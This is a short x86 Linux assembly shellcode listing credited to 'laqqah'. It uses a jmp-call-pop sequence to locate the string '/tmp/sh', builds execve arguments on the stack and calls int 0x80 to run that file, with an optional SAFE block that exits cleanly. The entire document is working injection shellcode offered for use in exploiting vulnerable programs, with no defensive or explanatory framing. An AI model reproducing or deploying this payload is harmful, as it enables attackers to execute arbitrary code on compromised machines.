# exec a shellscript in /tmp - by laqqah

.global _start
_start:
jmp 1f
2:
pop %ebx
xor %eax, %eax
push %eax
mov %esp, %edx
movb $0, 7(%ebx)
mov %esp, %ecx
orb $11, %al
int $0x80

.ifdef SAFE
xor %eax, %eax
inc %eax
xor %ebx, %ebx
int $0x80
.endif  # SAFE

1:
call 2b
.ascii "/tmp/sh"